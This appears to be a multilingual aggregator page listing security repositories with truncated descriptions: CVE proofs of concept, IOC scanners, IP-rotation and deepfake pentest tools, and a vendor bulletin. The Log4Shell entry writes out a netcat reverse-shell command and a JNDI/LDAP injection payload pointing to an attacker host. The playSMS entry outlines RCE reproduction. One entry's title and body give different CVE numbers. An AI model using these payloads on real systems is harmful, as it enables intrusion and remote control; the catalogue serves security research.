CVE-2025-24813

Testando qualquer versão do tomcat para ver se essa versão é vulnerável ao CVE-2025-24813 Esta POC permite que você teste qualquer versão do tomcat para verificar se essa versão é vulnerável ao CVE-2025-24813 nas condições vulneráveis, em ambientes Unix testado em uma máquina Ubuntu. Nota: testad...

ioc-scanner-CVE-2019-19781

Scanner di Indicatori di Compromissione per CVE-2019-19781 Questo repository contiene un'utilità per rilevare compromissioni degli apparati Citrix ADC correlate a CVE-2019-19781. L'utilità e le sue risorse codificano gli indicatori di compromissione raccolti durante le indagini di FireEye Mandian...

citrix-ioc-scanner-cve-2023-3519

Scanner per Indicatori di Compromissione per CVE-2023-3519 Questo repository contiene un'utility per rilevare compromissioni di apparati Citrix ADC correlate a CVE-2023-3519. L'utility e le sue risorse codificano indicatori di compromissione raccolti durante le indagini di Mandiant. Per saperne d...

CVE-2025-70342

CVE-2025-70342: Intercettazione delle credenziali tramite Named Pipe in erase-install Riepilogo erase-install antecedente alla v40.4 commit 2c31239 scrive l'output delle credenziali di swiftDialog in un percorso hardcoded /var/tmp/dialog.json. Su Mac Apple Silicon, le credenziali di amministrazio...

mylg

myLG, Netzwerkdiagnose-Tool für die Kommandozeile myLG ist ein quelloffenes Dienstprogramm, das die Funktionen verschiedener Netzwerksonden in einem Netzwerkdiagnose-Tool vereint. Funktionen Beliebte Looking Glasses Ping/Trace/BGP: Telia, Level3, NTT, Cogent, KPN DNS-Lookup-Informationen für über...

mylg

myLG, Command line Network Diagnostic Tool myLG is an open source software utility which combines the functions of the different network probes in one network diagnostic tool. Features Popular looking glasses ping/trace/bgp: Telia, Level3, NTT, Cogent, KPN More than 200 countries DNS Lookup...

CVE-2021-40373

CVE-playsms Es gibt eine Schwachstelle in playsms 1.4.3, die es potenziellen Angreifern ermöglicht, Remote-Code-Ausführung durchzuführen. So reproduzierst du RCE Shell: https://playsms.org/ docker pull playsms/playsms:1.4.3 docker run -d -p 80:80 playsms/playsms melde dich mit admin:admin an...

cve-2010-3847

CVE-2010-3847-Skript Soll den Exploit automatisieren, der unter http://marc.info/?l=full-disclosure&m=128776663124692&w=2 besprochen wird. Getestet auf CentOS 5 x86. Das DSO, das es ausgibt, wird aus folgendem Code kompiliert: root@kitploit: include include include void attributeconstructor init...

CVE-2021-32099

CVE-2021-32099 PoC Questo repository fornisce un exploit Proof of Concept PoC per la vulnerabilità CVE-2021-32099 , che colpisce Pandora FMS 742. L'exploit mostra come un attaccante non autenticato possa sfruttare una vulnerabilità di SQL injection per elevare una sessione non privilegiata a un...

aegis-latent-core

Aegis Latent Core Gateway di governance e prove per applicazioni LLM multi-provider. Aegis Latent Core è un gateway compatibile con OpenAI che applica policy di richiesta, WAF, egress, rate-limit e controlli di sessione prima di inoltrare il traffico a un provider di modelli a monte. Per il...

dot

il Deepfake Offensive Toolkit dot aka Deepfake Offensive Toolkit produce deepfake in tempo reale e controllabili, pronti per l'iniezione in telecamere virtuali. dot è stato creato per eseguire penetration testing contro, ad esempio, sistemi di verifica dell'identità e videoconferenza, per uso da...

fireprox

FireProx Overview Benefits Disclaimers Maintainer Credit Basic Usage Installation Screenshots Contributing Overview Being able to hide or continually rotate the source IP address when making web calls can be difficult or expensive. A number of tools have existed for some time but they were either...

fireprox

FireProx Übersicht Vorteile Haftungsausschlüsse Betreuer Anerkennung Grundlegende Nutzung Installation Screenshots Mitwirken Übersicht Die Quell-IP-Adresse bei Webaufrufen verbergen oder kontinuierlich rotieren zu können, kann schwierig oder teuer sein. Es gibt seit einiger Zeit eine Reihe von...

CVE-2023-27216

CVE-2023-27216 - Roteador D-Link Este documento é o relato da minha experiência pessoal como novato em engenharia reversa e exploração de firmware. Escopo Para demonstração, analisaremos e reproduziremos a CVE-2023-27216. Número do CVE: CVE-2023-27216 Descrição da vulnerabilidade: Um problema...

Security Bulletin: Multiple vulnerabbilities exists in the IBM® SDK, Java™ Technology Edition affect IBM Tivoli Network Configuration Manager.

Summary IBM Tivoli Network Configuration Manager is affected by multiple security vulnerabilities in IBM SDK, Java Technology Edition. This bulletin addresses the IBM SDK, Java Technology Edition Quarterly Critical Patch Update CPU for Jul 2026, which includes Oracle July 2026 CPU plus four...

dinkleberry

Dinkleberry 🫐 Sei una delle 92,000+ persone1 bloccate con un NAS D-Link vulnerabile a CVE-2024-3272 e nessuna patch in vista? Questo strumento utilizza l'exploit stesso per correggere un dispositivo vulnerabile. 1: Vedi la divulgazione originale nei riferimenti Cosa fa Dinkleberry eseguirà un...

CVE-2021-29447

Ordem de instalação e execução 0. Executar docker root@kitploit: $docker-compose up 1. Executar wordpress.sh Antes de instalar o WordPress, configure o arquivo wp-config.php. root@kitploit: $docker exec -it -u root wordpress /bin/bash -c "/usr/local/bin/wordpress.sh" 2. Instalar o WordPress...

CVE-2020-0601

CVE-2020-0601 : sfruttamento della CVE CurveBall Questo script ruby può essere utilizzato per falsificare una legittima autorità di certificazione e generare un certificato che sarà considerato valido per i computer Windows affetti dalla vulnerabilità CurveBall. Devi procurarti un certificato...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc IP Pubblico Porta -e /bin/sh Converti in Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Sito Target -H "X-Forwarded-Host: $jndi:ldap://IP ReverseShell:Porta/Basic/Command/Base64/Payload in base64 Prova di concetto Log4j...

CVE-2025-29972

CVE-2025-29927 - Vulnerabilità di sicurezza critica in Next.js Panoramica CVE-2025-29927 è una vulnerabilità di sicurezza critica che colpisce Next.js , un popolare framework React per la creazione di applicazioni web full-stack. Questa falla consente agli attaccanti di bypassare i controlli di...